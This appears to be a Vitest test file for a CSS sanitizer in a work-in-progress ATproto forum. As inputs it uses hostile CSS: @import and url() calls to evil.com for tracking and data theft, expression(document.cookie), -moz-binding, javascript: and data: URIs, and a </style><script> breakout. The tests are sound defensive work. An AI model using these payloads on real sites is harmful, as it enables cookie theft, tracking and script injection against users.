WIP! A BB-style forum, on the ATmosphere! We're still working... we'll be back soon when we have something to show off!
node typescript hono htmx atproto
at main 319 lines 14 kB view raw
1import { describe, it, expect } from "vitest"; 2import { sanitizeCssOverrides, sanitizeCss } from "../index.js"; 3 4// ─── sanitizeCssOverrides ──────────────────────────────────────────────────── 5 6describe("sanitizeCssOverrides", () => { 7 // ── Safe passthrough ────────────────────────────────────────────────────── 8 9 it("passes through safe CSS unchanged (structurally)", () => { 10 const css = ".btn { color: var(--color-primary); font-weight: bold; }"; 11 const { css: result, warnings } = sanitizeCssOverrides(css); 12 expect(warnings).toHaveLength(0); 13 // Should contain the key property (generated CSS may vary in whitespace) 14 expect(result).toContain("color:var(--color-primary)"); 15 expect(result).toContain("font-weight:bold"); 16 }); 17 18 it("allows relative url() paths", () => { 19 const css = ".hero { background: url('/static/img/bg.png'); }"; 20 const { css: result, warnings } = sanitizeCssOverrides(css); 21 expect(warnings).toHaveLength(0); 22 expect(result).toContain("url("); 23 }); 24 25 it("allows @keyframes rules", () => { 26 const css = "@keyframes fade { from { opacity: 0; } to { opacity: 1; } }"; 27 const { css: result, warnings } = sanitizeCssOverrides(css); 28 expect(warnings).toHaveLength(0); 29 expect(result).toContain("opacity"); 30 }); 31 32 it("allows @media rules", () => { 33 const css = "@media (max-width: 768px) { body { color: red; } }"; 34 const { css: result, warnings } = sanitizeCssOverrides(css); 35 expect(warnings).toHaveLength(0); 36 expect(result).toContain("color:red"); 37 }); 38 39 it("allows @font-face with relative src", () => { 40 const css = "@font-face { font-family: MyFont; src: url('/fonts/myfont.woff2'); }"; 41 const { css: result, warnings } = sanitizeCssOverrides(css); 42 expect(warnings).toHaveLength(0); 43 expect(result).toContain("font-family"); 44 }); 45 46 it("returns empty string and no warnings for empty input", () => { 47 expect(sanitizeCssOverrides("")).toEqual({ css: "", warnings: [] }); 48 expect(sanitizeCssOverrides(" ")).toEqual({ css: "", warnings: [] }); 49 }); 50 51 // ── @import ─────────────────────────────────────────────────────────────── 52 53 it("strips @import with url()", () => { 54 const { css, warnings } = sanitizeCssOverrides( 55 '@import url("https://evil.com/steal.css");' 56 ); 57 expect(css).not.toContain("@import"); 58 expect(css).not.toContain("evil.com"); 59 expect(warnings.some((w) => w.includes("@import"))).toBe(true); 60 }); 61 62 it("strips @import with bare string", () => { 63 const { css, warnings } = sanitizeCssOverrides( 64 '@import "https://evil.com/steal.css";' 65 ); 66 expect(css).not.toContain("@import"); 67 expect(warnings.some((w) => w.includes("@import"))).toBe(true); 68 }); 69 70 it("strips multiple @import rules", () => { 71 const input = [ 72 '@import "https://evil.com/a.css";', 73 ".btn { color: red; }", 74 '@import url("https://evil.com/b.css");', 75 ].join("\n"); 76 const { css, warnings } = sanitizeCssOverrides(input); 77 expect(css).not.toContain("@import"); 78 expect(css).toContain("color:red"); 79 expect(warnings.filter((w) => w.includes("@import"))).toHaveLength(2); 80 }); 81 82 it("strips @IMPORT with uppercase obfuscation", () => { 83 // CSS keywords are case-insensitive per spec. The sanitizer normalizes via 84 // node.name.toLowerCase() before comparison, so @IMPORT is caught even if 85 // css-tree preserves the original casing in the AST node name. 86 const { css, warnings } = sanitizeCssOverrides( 87 '@IMPORT "https://evil.com/steal.css";' 88 ); 89 expect(css).not.toContain("evil.com"); 90 expect(warnings.some((w) => w.includes("@import"))).toBe(true); 91 }); 92 93 // ── external url() in declarations ─────────────────────────────────────── 94 95 it("strips declarations with http:// url()", () => { 96 const { css, warnings } = sanitizeCssOverrides( 97 'body { background: url("http://evil.com/track.gif"); }' 98 ); 99 expect(css).not.toContain("evil.com"); 100 expect(warnings.some((w) => w.includes("background"))).toBe(true); 101 }); 102 103 it("strips declarations with https:// url()", () => { 104 const { css, warnings } = sanitizeCssOverrides( 105 "body { background-image: url(https://evil.com/steal.gif); }" 106 ); 107 expect(css).not.toContain("evil.com"); 108 expect(warnings.some((w) => w.includes("background-image"))).toBe(true); 109 }); 110 111 it("strips declarations with protocol-relative // url()", () => { 112 const { css, warnings } = sanitizeCssOverrides( 113 "body { background: url(//evil.com/steal.gif); }" 114 ); 115 expect(css).not.toContain("evil.com"); 116 expect(warnings.length).toBeGreaterThan(0); 117 }); 118 119 it("strips content: url() on pseudo-elements", () => { 120 const { css, warnings } = sanitizeCssOverrides( 121 ".el::before { content: url('https://evil.com/pixel.gif'); }" 122 ); 123 expect(css).not.toContain("evil.com"); 124 expect(warnings.some((w) => w.includes("content"))).toBe(true); 125 }); 126 127 // ── data: URIs ──────────────────────────────────────────────────────────── 128 129 it("strips declarations with data: URI", () => { 130 const { css, warnings } = sanitizeCssOverrides( 131 'body { background: url("data:text/html,<script>alert(1)</script>"); }' 132 ); 133 expect(css).not.toContain("data:"); 134 expect(warnings.length).toBeGreaterThan(0); 135 }); 136 137 it("strips declarations with data: URI (unquoted)", () => { 138 const { css, warnings } = sanitizeCssOverrides( 139 "body { background: url(data:image/svg+xml;base64,PHN2Zy8+); }" 140 ); 141 expect(css).not.toContain("data:"); 142 expect(warnings.length).toBeGreaterThan(0); 143 }); 144 145 // ── @font-face with external src ───────────────────────────────────────── 146 147 it("strips @font-face with external https src", () => { 148 const { css, warnings } = sanitizeCssOverrides( 149 '@font-face { font-family: Evil; src: url("https://evil.com/font.woff2"); }' 150 ); 151 expect(css).not.toContain("@font-face"); 152 expect(css).not.toContain("evil.com"); 153 expect(warnings.some((w) => w.includes("@font-face"))).toBe(true); 154 }); 155 156 it("strips @font-face with external http src", () => { 157 const { css, warnings } = sanitizeCssOverrides( 158 '@font-face { font-family: Evil; src: url("http://evil.com/font.woff2"); }' 159 ); 160 expect(css).not.toContain("@font-face"); 161 expect(warnings.some((w) => w.includes("@font-face"))).toBe(true); 162 }); 163 164 // ── expression() ───────────────────────────────────────────────────────── 165 166 it("strips declarations with expression()", () => { 167 const { css, warnings } = sanitizeCssOverrides( 168 "body { color: expression(document.cookie); }" 169 ); 170 expect(css).not.toContain("expression("); 171 expect(css).not.toContain("document.cookie"); 172 expect(warnings.some((w) => w.includes("color"))).toBe(true); 173 }); 174 175 it("strips declarations with expression() in width", () => { 176 const { css, warnings } = sanitizeCssOverrides( 177 "div { width: expression(alert(1)); }" 178 ); 179 expect(css).not.toContain("expression("); 180 expect(warnings.some((w) => w.includes("width"))).toBe(true); 181 }); 182 183 it("strips EXPRESSION() with uppercase obfuscation", () => { 184 // The sanitizer normalizes via inner.name.toLowerCase() before comparison, 185 // so EXPRESSION() is caught regardless of how css-tree stores the function name. 186 const { css, warnings } = sanitizeCssOverrides( 187 "div { width: EXPRESSION(alert(1)); }" 188 ); 189 expect(css).not.toContain("EXPRESSION("); 190 expect(css).not.toContain("alert("); 191 expect(warnings.some((w) => w.includes("width"))).toBe(true); 192 }); 193 194 // ── dangerous properties ────────────────────────────────────────────────── 195 196 it("strips -moz-binding property", () => { 197 const { css, warnings } = sanitizeCssOverrides( 198 'body { -moz-binding: url("https://evil.com/xss.xml#xss"); }' 199 ); 200 expect(css).not.toContain("-moz-binding"); 201 expect(css).not.toContain("evil.com"); 202 expect(warnings.some((w) => w.includes("-moz-binding"))).toBe(true); 203 }); 204 205 it("strips behavior property", () => { 206 const { css, warnings } = sanitizeCssOverrides( 207 "body { behavior: url('evil.htc'); }" 208 ); 209 expect(css).not.toContain("behavior"); 210 expect(warnings.some((w) => w.includes("behavior"))).toBe(true); 211 }); 212 213 it("strips -webkit-binding property", () => { 214 const { css, warnings } = sanitizeCssOverrides( 215 'body { -webkit-binding: url("evil.xml"); }' 216 ); 217 expect(css).not.toContain("-webkit-binding"); 218 expect(warnings.some((w) => w.includes("-webkit-binding"))).toBe(true); 219 }); 220 221 // ── javascript: URL ─────────────────────────────────────────────────────── 222 223 it("strips declarations with javascript: URL", () => { 224 const { css, warnings } = sanitizeCssOverrides( 225 "body { background: url('javascript:alert(1)'); }" 226 ); 227 expect(css).not.toContain("javascript:"); 228 expect(warnings.length).toBeGreaterThan(0); 229 }); 230 231 // ── mixed safe + unsafe ─────────────────────────────────────────────────── 232 233 it("strips only the dangerous declarations, preserves safe ones", () => { 234 const input = [ 235 ".btn { color: red; }", 236 'body { background: url("https://evil.com/track.gif"); }', 237 ".card { font-size: 14px; }", 238 ].join("\n"); 239 const { css, warnings } = sanitizeCssOverrides(input); 240 expect(css).toContain("color:red"); 241 expect(css).toContain("font-size:14px"); 242 expect(css).not.toContain("evil.com"); 243 expect(warnings).toHaveLength(1); 244 }); 245 246 it("strips unsafe inside @media but keeps the @media rule", () => { 247 const input = ` 248 @media (max-width: 768px) { 249 body { background: url('https://evil.com/track.gif'); } 250 .btn { color: red; } 251 } 252 `; 253 const { css, warnings } = sanitizeCssOverrides(input); 254 expect(css).toContain("@media"); 255 expect(css).not.toContain("evil.com"); 256 expect(css).toContain("color:red"); 257 expect(warnings).toHaveLength(1); 258 }); 259 260 // ── warnings list ───────────────────────────────────────────────────────── 261 262 it("returns a warning for each stripped construct", () => { 263 const input = [ 264 '@import "https://evil.com/a.css";', 265 "body { background: url('https://evil.com/b.gif'); }", 266 "body { color: expression(x); }", 267 ].join("\n"); 268 const { warnings } = sanitizeCssOverrides(input); 269 expect(warnings).toHaveLength(3); 270 }); 271 272 // ── performance ─────────────────────────────────────────────────────────── 273 274 it("sanitizes reasonable CSS in under 50ms", () => { 275 // ~50 rules — a realistic CSS overrides block 276 const rules = Array.from({ length: 50 }, (_, i) => 277 `.class-${i} { color: var(--color-${i}); margin: ${i}px; }` 278 ).join("\n"); 279 280 const start = Date.now(); 281 sanitizeCssOverrides(rules); 282 expect(Date.now() - start).toBeLessThan(50); 283 }); 284}); 285 286// ─── sanitizeCss (render-time wrapper) ─────────────────────────────────────── 287 288describe("sanitizeCss", () => { 289 it("returns only the CSS string (no warnings object)", () => { 290 const result = sanitizeCss(".btn { color: red; }"); 291 expect(typeof result).toBe("string"); 292 expect(result).toContain("color:red"); 293 }); 294 295 it("strips dangerous content and returns safe string", () => { 296 const result = sanitizeCss('@import "https://evil.com/steal.css"; .ok { color: red; }'); 297 expect(result).not.toContain("@import"); 298 expect(result).toContain("color:red"); 299 }); 300 301 it("discards malformed CSS containing raw </style> (parse error → fail closed)", () => { 302 // Raw </style> is invalid CSS syntax — css-tree's onParseError fires, 303 // and the fail-closed policy discards the entire input for security. 304 const result = sanitizeCss('body { color: red; } </style><script>alert(1)</script>'); 305 expect(result).not.toContain("</style"); 306 expect(result).not.toContain("<script>"); 307 expect(result).toBe(""); 308 }); 309 310 it("strips </style> from CSS string literal values (HTML parser injection vector)", () => { 311 // A CSS string literal containing </style> is valid CSS that passes parsing. 312 // Without post-processing, generate() reproduces it verbatim and the HTML 313 // parser would end the <style> block when injected via dangerouslySetInnerHTML. 314 // Stripping </style is sufficient: <script> that follows it stays as harmless 315 // CSS text inside the style block and cannot execute. 316 const result = sanitizeCss('.foo::before { content: "</style><script>alert(1)</script>"; }'); 317 expect(result).not.toContain("</style"); 318 }); 319});